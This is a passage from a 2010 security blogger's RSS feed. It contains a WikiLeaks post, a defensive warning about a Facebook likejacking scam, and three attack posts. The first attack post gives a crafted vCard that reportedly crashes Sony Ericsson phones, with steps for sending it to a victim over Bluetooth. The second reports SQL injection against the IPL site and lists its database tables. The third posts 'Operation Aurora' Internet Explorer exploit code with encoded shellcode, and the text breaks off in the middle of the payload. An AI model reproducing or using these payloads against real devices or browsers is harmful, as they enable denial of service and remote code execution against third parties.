			<wfw:commentRss>http://www.shaheemirza.com/2011/02/06/crlf-or-httprs-carriage-return-and-line-feed-http-response-splitting/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Supporting &#8230;&#8230;&#8230;WiKiLeaks</title>
		<link>http://www.shaheemirza.com/2010/12/11/supporting-wikileaks/</link>
		<comments>http://www.shaheemirza.com/2010/12/11/supporting-wikileaks/#comments</comments>
		<pubDate>Fri, 10 Dec 2010 21:32:40 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Supporting]]></category>
		<category><![CDATA[WiKiLeaks]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=98</guid>
		<description><![CDATA[Share]]></description>
			<content:encoded><![CDATA[<a name="fb_share" type="button_count" share_url="http://www.shaheemirza.com/2010/12/11/supporting-wikileaks/">Share</a><div id="attachment_99" class="wp-caption aligncenter" style="width: 249px"><a href="http://WiKiLeaks.ch"><img class="size-full wp-image-99 " title="WiKiLeaks" src="http://www.shaheemirza.com/wp-content/uploads/2010/12/2010-12-08_154047.jpg" alt="WiKiLeaks.ch" width="239" height="539" align="center" /></a>
<p class="wp-caption-text">WiKiLeaks.ch</p>
</div>
<p><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2010%2F12%2F11%2Fsupporting-wikileaks%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2010/12/11/supporting-wikileaks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FACEBOOK SPAM: Hidden Message in the Google Logo!</title>
		<link>http://www.shaheemirza.com/2010/08/16/facebook-spam-hidden-message-in-the-google-logo/</link>
		<comments>http://www.shaheemirza.com/2010/08/16/facebook-spam-hidden-message-in-the-google-logo/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 13:24:24 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Likejacking]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=80</guid>
		<description><![CDATA[And once again, FB users are  helping FACEBOOK SPAMMERS without knowing themselves. A lot of  SHOCKING  information are posting on facebook news feed. Some days ago there was a hoax/spam called â€œGirl who killed herselfâ€.]]></description>
			<content:encoded><![CDATA[<a name="fb_share" type="button_count" share_url="http://www.shaheemirza.com/2010/08/16/facebook-spam-hidden-message-in-the-google-logo/">Share</a><div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">And once again, FB user helping FACEBOOK SAPAMMERS without knowing himself. A lot of SHOCKING information is posting on facebook news feed. Some days ago there was a hoax/spam called â€œGirl who killed herselfâ€.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[pict of from ghaham culey]girl.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">You may visit this link to get full information.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Graham Cluleyâ€™s blog Â [http://www.sophos.com/blogs/gc/g/2010/08/06/girl-killed-virus-hoax-spreads-facebook/]</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Today, I saw a post on my news feed about &#8220;SHOCKING Hidden Message in the Google Logo! You wonâ€™t believe this!â€. It was lame but we all love to know THE SECRETs. Curiosity is a dangerous thing; it grows and gives mental pain. So, we need to satisfy ourselves anyhow. And make us a SPAM VICTIM.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[pict of news feed] 1.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">
<div class="quote"></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Spam is the use of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. While the most widely recognized form of spam is e-mail spam, the term is applied to similar abuses in other media: instant messaging spam, Usenet newsgroup spam, Web search engine spam, spam in blogs, wiki spam, online classified ads spam, mobile phone messaging spam, Internet forum spam, junk fax transmissions, social networking spam, television advertising and file sharing network spam.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Spamming remains economically viable because advertisers have no operating costs beyond the management of their mailing lists, and it is difficult to hold senders accountable for their mass mailings. Because the barrier to entry is so low, spammers are numerous, and the volume of unsolicited mail has become very high. The costs, such as lost productivity and fraud, are borne by the public and by Internet service providers, which have been forced to add extra capacity to cope with the deluge. Spamming is universally reviled, and has been the subject of legislation in many jurisdictions.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">People who create electronic spam are called spammers.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;"></div>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Now I am going to demonstrate, what will happen after following that FB post.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Very intelligent page that uses familiar scam where they trick you into &#8220;liking&#8221; and &#8220;sharing&#8221; the link[http://gglhidden.co.cc/].</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[pic of web]2.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">After clicking that LIKE button.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[pic of prof 1]3.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Now you have to share this page on your FB profile.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[pic the web 2]4.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">AND</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[Pic the web 3]5.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Now visit your profile.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[Pic the prof 2]6.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Back to page, HUH!! Surveyâ€¦.GOD, here is the trick.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[pic the web 4]7.jpg</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Now reveal that google secret.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[Pict of secret]sec.gif</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Full article about GOOGLE LOGO SECRET here.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Google logo[http://digi-soft.blogspot.com/2008/01/secret-of-two-hidden-messages-in-google.html]</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Stop &#8220;liking&#8221; and &#8220;sharing&#8221; pages unless you really do like them. There are many scammers on Facebook trying to trick you into sharing their links with the promise of showing you some exclusive pictures or a video or secrets.</div>
<p>-</p>
<p>And once again, FB users are Â helping FACEBOOK SPAMMERS without knowing themselves. A lot of Â SHOCKING Â information are posting on facebook news feed. Some days ago there was a hoax/spam called â€œGirl who killed herselfâ€.</p>
<p style="text-align: center; "><img class="aligncenter size-full wp-image-81" title="girl" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/girl.jpg" alt="girl" width="438" height="182" /></p>
<p>You may visit this link to get full information.</p>
<p><a href="http://www.sophos.com/blogs/gc/g/2010/08/06/girl-killed-virus-hoax-spreads-facebook/" target="_blank">Graham Cluleyâ€™s blog</a></p>
<p>Today, I saw a post on my news feed about &#8220;SHOCKING Hidden Message in the Google Logo! You wonâ€™t believe this!â€. It was lame but we all love to know THE SECRETs. Curiosity is a dangerous thing; it grows and gives mental pain. So, we need to satisfy ourselves anyhow. And make us a SPAM VICTIM.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-82" title="1" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/1.jpg" alt="1" width="446" height="362" /></p>
<blockquote><p><strong>Spam</strong> is the use of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. While the most widely recognized form of spam is e-mail spam, the term is applied to similar abuses in other media: instant messaging spam, Usenet newsgroup spam, Web search engine spam, spam in blogs, wiki spam, online classified ads spam, mobile phone messaging spam, Internet forum spam, junk fax transmissions, social networking spam, television advertising and file sharing network spam.</p>
<p>Spamming remains economically viable because advertisers have no operating costs beyond the management of their mailing lists, and it is difficult to hold senders accountable for their mass mailings. Because the barrier to entry is so low, spammers are numerous, and the volume of unsolicited mail has become very high. The costs, such as lost productivity and fraud, are borne by the public and by Internet service providers, which have been forced to add extra capacity to cope with the deluge. Spamming is universally reviled, and has been the subject of legislation in many jurisdictions.</p>
<p>People who create electronic spam are called <strong>spammers</strong>.</p></blockquote>
<p>Now I am going to demonstrate, what will happen after following that FB post.</p>
<p>Very intelligent page that uses familiar scam where they trick you into &#8220;liking&#8221; and &#8220;sharing&#8221; the <a href="http://gglhidden.co.cc/" target="_blank">link</a>.</p>
<p style="text-align: center; "><img class="aligncenter size-full wp-image-83" title="2" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/2.jpg" alt="2" width="474" height="267" /></p>
<p>After clicking that LIKE button.</p>
<p style="text-align: center; "><img class="aligncenter size-full wp-image-84" title="3" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/3.jpg" alt="3" width="491" height="204" /></p>
<p>Now you have to share this page on your FB profile.</p>
<p style="text-align: center; "><img class="aligncenter size-full wp-image-85" title="4" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/4.jpg" alt="4" width="477" height="270" /></p>
<p>AND</p>
<p style="text-align: center; "><img class="aligncenter size-full wp-image-86" title="5" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/5.jpg" alt="5" width="458" height="258" /></p>
<p>Now visit your profile.</p>
<p><img class="aligncenter size-full wp-image-87" title="6" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/6.jpg" alt="6" width="550" height="138" /></p>
<p>Back to page, HUH!! Surveyâ€¦.GOD, here is the trick.</p>
<p style="text-align: center; "><img class="aligncenter size-full wp-image-88" title="7" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/7.jpg" alt="7" width="462" height="92" /></p>
<p>Now reveal that google secret.[ <img src='http://www.shaheemirza.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ]</p>
<p><img class="aligncenter size-full wp-image-89" title="sec" src="http://www.shaheemirza.com/wp-content/uploads/2010/08/sec.gif" alt="sec" width="276" height="120" /></p>
<p>Truth about GOOGLE LOGO SECRET is here.</p>
<p><a href="http://digi-soft.blogspot.com/2008/01/secret-of-two-hidden-messages-in-google.html" target="_blank">Google logo Secrect</a></p>
<p>Stop &#8220;liking&#8221; and &#8220;sharing&#8221; pages unless you really do like them. There are many scammers on Facebook trying to trick you into sharing their links with the promise of showing you some exclusive pictures or a video or secrets.<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2010%2F08%2F16%2Ffacebook-spam-hidden-message-in-the-google-logo%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2010/08/16/facebook-spam-hidden-message-in-the-google-logo/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>DoS: Sony Ericsson Phone memory Contact.</title>
		<link>http://www.shaheemirza.com/2010/06/03/dos-sony-ericsson-phone-memory-contact/</link>
		<comments>http://www.shaheemirza.com/2010/06/03/dos-sony-ericsson-phone-memory-contact/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 07:49:52 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[Sony Ericsson]]></category>
		<category><![CDATA[vulnerabilty]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=70</guid>
		<description><![CDATA[Pen-tested Subject: Sony Ericsson Phone Contact. Discovery Date: 19/03/2010. Exploit Date: 10/04/2010. Test Object: Sony Ericsson W580i. Used Tools: BlueTooth, MyPhoneExplorer and Textpad. Vulnerability: Denial of Service. Result : Automatic Force Reboot. Greetings : FaceBook!! Yaa FaceBook!! Note: None. 0&#215;01: Introduction: My younger brother suddenly informed me that, his phone got a problem. It takes [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #800080;">Pen-tested Subject:</span> Sony Ericsson Phone Contact.<br />
<span style="color: #800080;">Discovery Date: </span>19/03/2010.<br />
<span style="color: #800080;">Exploit Date:</span> 10/04/2010.<br />
<span style="color: #800080;">Test Object:</span> Sony Ericsson W580i.<br />
<span style="color: #800080;">Used Tools:</span> BlueTooth, MyPhoneExplorer and Textpad.<br />
<span style="color: #800080;">Vulnerability:</span> Denial of Service.<br />
<span style="color: #800080;">Result </span>: Automatic Force Reboot.<br />
<span style="color: #800080;">Greetings :</span> FaceBook!! Yaa FaceBook!!<br />
<span style="color: #800080;">Note:</span> None.</p>
<p><img class="aligncenter size-full wp-image-71" title="mp_sony_ericsson_w580i_f" src="http://www.shaheemirza.com/wp-content/uploads/2010/06/mp_sony_ericsson_w580i_f.jpg" alt="mp_sony_ericsson_w580i_f" width="391" height="450" /></p>
<p><span style="color: #000080;"><strong>0&#215;01: Introduction:</strong></span></p>
<p>My younger brother suddenly informed me that, his phone got a problem. It takes Reboot when he wants to call a contact. He also said: â€œI was working with Digital V-Cardsâ€.</p>
<p><span style="color: #000080;"><strong>0&#215;02: Description:</strong></span></p>
<p>**Normal V-Card that saves at SE phone contact.</p>
<pre class="brush: plain; title: ; notranslate">

BEGIN:VCARD
VERSION:2.1
N;CHARSET=UTF-8:;Unknown
FN;CHARSET=UTF-8:Unknown
TEL;CELL:+8801111112222
X-IRMC-LUID:00020000009A
END:VCARD
</pre>
<p>Take a close look at V-Card, there is a character set encoding system (UTF-8) at N (Name) and FN (Family Name).</p>
<p>Why that character encoding used there? Cause SE supports many types of special symbols to write contact name on phone memory. Also it is a multilingual handset.</p>
<blockquote><p>UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. It is able to represent any character in the Unicode standard, yet is backwards compatible with ASCII. For these reasons, it is steadily becoming the preferred encoding for e-mail, web pages, and other places where characters are stored or streamed.<br />
UTF-8 encodes each character (code point) in 1 to 4 octets (8-bit bytes), with the singleâ€“octet encoding used only for the 128 US-ASCII characters.</p></blockquote>
<p><span style="color: #000080;"><strong>0&#215;03 Ideas:</strong></span></p>
<p>1. Let use some special symbols in Contact name (V-Card).<br />
2. Why not, we can set encoded data in CELL number (V-Card).<br />
3. Hopefully SE developers never thought that user can set their V-Card Manually. And hopefully their decoding mechanism does not prepare to decode the CELL numbers.</p>
<p><span style="color: #000080;"><strong>0&#215;04: Ideas execution:</strong></span></p>
<p>Let see another V-Card that uses special symbols.</p>
<pre class="brush: plain; title: ; notranslate">

BEGIN:VCARD
VERSION:2.1
N;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:;Unknown...=C2=A3
FN;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Unknown...=C2=A3
TEL;CELL: +8801111112222
X-IRMC-LUID:000200000001
END:VCARD
</pre>
<p>It works perfectly.</p>
<p><span style="color: #000080;"><strong>0&#215;05: Exploit:</strong></span></p>
<p>Successfully exploited V-Card.</p>
<pre class="brush: plain; title: ; notranslate">

BEGIN:VCARD
VERSION:2.1
N;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:V=01;Unknown
FN;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:Unknown V=01
TEL;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:0000000000000000000000000000000=
0000000000000000000000000000000000000000000000000=EB=BA=BA
X-IRMC-LUID:00020000001F
END:VCARD
</pre>
<p><span style="color: #000080;"><strong>0&#215;06: Attack Method:</strong></span></p>
<p>1. Save this exploited V-Card.<br />
2. Send this V-Card to targeted phone via Bluetooth from your computer or phone.</p>
<p><span style="color: #000080;"><strong>0&#215;07: Effect:</strong></span></p>
<p>Phone will take force reboot if victim want to DELETE, EDIT, CALL and VIEW that V-Card.</p>
<p><span style="color: #000080;"><strong>0&#215;08: References: </strong></span></p>
<p>1. The WiKipedia<br />
2. SE Manual.</p>
<p><span style="color: #000080;"><strong>0&#215;09: Credits:</strong></span></p>
<p>a. Shakil Mirza.<br />
b. Shahee Mirza.</p>
<p><span style="color: #000080;"><strong>0&#215;10: Conclusion:</strong></span></p>
<p>I think there is a vulnerability on Sony Ericsson handsetâ€™s Bluetooth. Multi-request and too much DATA flow may causes DoS.<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2010%2F06%2F03%2Fdos-sony-ericsson-phone-memory-contact%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2010/06/03/dos-sony-ericsson-phone-memory-contact/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Vulnerability on IPL web portal.</title>
		<link>http://www.shaheemirza.com/2010/03/23/vulnerability-on-ipl-web-portal/</link>
		<comments>http://www.shaheemirza.com/2010/03/23/vulnerability-on-ipl-web-portal/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 16:22:49 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[IPL]]></category>
		<category><![CDATA[Pentest]]></category>
		<category><![CDATA[vulnerabilty]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=63</guid>
		<description><![CDATA[Pentested result: http://www.iplt20.com
 Date: 14/03/2010
 Notify to admins: YES
 Database Version: MySQL >=5
 Name Of DataBase: ipl2010live
 Total Tables: 83
 Credit : Shahee Mirza
 Greetings : Gazi Lenin, learned many things from his tweets :)
 Note: I did not read or dump any data from that database.]]></description>
			<content:encoded><![CDATA[<p>Pentested result: http://www.iplt20.com<br />
Date: 14/03/2010<br />
Notify to admins: YES<br />
Database Version: MySQL &gt;=5<br />
Name Of DataBase: ipl2010live<br />
Total Tables:     83<br />
Credit : Shahee Mirza<br />
Greetings : Gazi Lenin, learned many things from his tweets <img src='http://www.shaheemirza.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Note: I did not read or dump any data from that database.<br />
&#8212;&#8212;-</p>
<p>Only Table List here:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
fixtures<br />
lm_data<br />
lm_hotels<br />
lm_rooms<br />
lm_venues<br />
players_workload<br />
slideshow<br />
tbl_accreditation<br />
tbl_ads<br />
tbl_article_video_keywords<br />
tbl_background<br />
tbl_bb_comments<br />
tbl_bb_invites<br />
tbl_bb_invites_data<br />
tbl_bb_invites_text<br />
tbl_bb_invites_tickets<br />
tbl_bb_users<br />
tbl_camerafan<br />
tbl_cloud<br />
tbl_coaching_staff<br />
tbl_comments<br />
tbl_contacts<br />
tbl_dugout<br />
tbl_features<br />
tbl_feed_live_match<br />
tbl_feed_match<br />
tbl_feed_match_innings<br />
tbl_feed_match_innings_ballbyball<br />
tbl_feed_match_innings_batting<br />
tbl_feed_match_innings_bowling<br />
tbl_feed_match_teams<br />
tbl_feed_match_teams_players<br />
tbl_feed_match_umpire<br />
tbl_feed_running<br />
tbl_files<br />
tbl_gallery<br />
tbl_gallery_images<br />
tbl_governingbody<br />
tbl_home_gallery<br />
tbl_homepage<br />
tbl_interviews<br />
tbl_iplteams<br />
tbl_lm_friendinvites<br />
tbl_main_panel_news<br />
tbl_main_panel_now<br />
tbl_main_panel_videos<br />
tbl_master_slave<br />
tbl_matches<br />
tbl_news<br />
tbl_pages<br />
tbl_panel_left<br />
tbl_player_profile<br />
tbl_player_profile_new<br />
tbl_player_stats<br />
tbl_poll_results<br />
tbl_polls_answer_options<br />
tbl_polls_question<br />
tbl_rating<br />
tbl_rs_invites<br />
tbl_rs_invites_text<br />
tbl_teams<br />
tbl_tickets<br />
tbl_trivia<br />
tbl_tv<br />
tbl_user_subscription<br />
tbl_venues<br />
tbl_videos<br />
tbl_wallpaper<br />
tbl_weather<br />
tbladminusers<br />
tblsession<br />
tbluserlogs<br />
wp_commentmeta<br />
wp_comments<br />
wp_links<br />
wp_options<br />
wp_postmeta<br />
wp_posts<br />
wp_term_relationships<br />
wp_term_taxonomy<br />
wp_terms<br />
wp_usermeta<br />
wp_users<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
******<br />
Notification sent to info-iplt20 [at] iplt20.com<br />
******<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2010%2F03%2F23%2Fvulnerability-on-ipl-web-portal%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2010/03/23/vulnerability-on-ipl-web-portal/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Operation Aurora- Used on Google to hack.</title>
		<link>http://www.shaheemirza.com/2010/01/18/operation-aurora-used-on-google-to-hack/</link>
		<comments>http://www.shaheemirza.com/2010/01/18/operation-aurora-used-on-google-to-hack/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 07:25:31 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[aurora]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=44</guid>
		<description><![CDATA[The buzzed news hit earlier this week that the attack vector that allowed bad actors presumably from China into the networks of Google, Juniper, Adobe, and some 29 other firms was an Internet Explorer zero day, a use after free vulnerability on an invalid pointer reference affecting IE 6, 7, and 8 but only used [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-45" title="071212-google-china" src="http://www.shaheemirza.com/wp-content/uploads/2010/01/071212-google-china.jpg" alt="071212-google-china" width="184" height="138" /></p>
<p>The buzzed news hit earlier this week that the attack vector that allowed bad actors presumably from China into the networks of Google, Juniper, Adobe, and some 29 other firms was an Internet Explorer zero day, a use after free vulnerability on an invalid pointer reference affecting IE 6, 7, and 8 but only used by attackers on IE 6 according to Microsoft. Per Microsoft&#8217;s Advisory 979352: â€œIn a specially-crafted attack, in attempting to access a freed object, Internet Explorer can be caused to allow remote code execution.</p>
<p>This attack got a name, â€œOperation Auroraâ€. And everybody interested to know how it done a successful attacks into corporate.</p>
<p>Ok, no more talkâ€¦.  Here is the â€œEXPLOIT CODEâ€.  <img src='http://www.shaheemirza.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<pre class="brush: xml; title: ; notranslate">
&lt;html&gt;&lt;script&gt;var sc = unescape(&quot;
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8%
ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
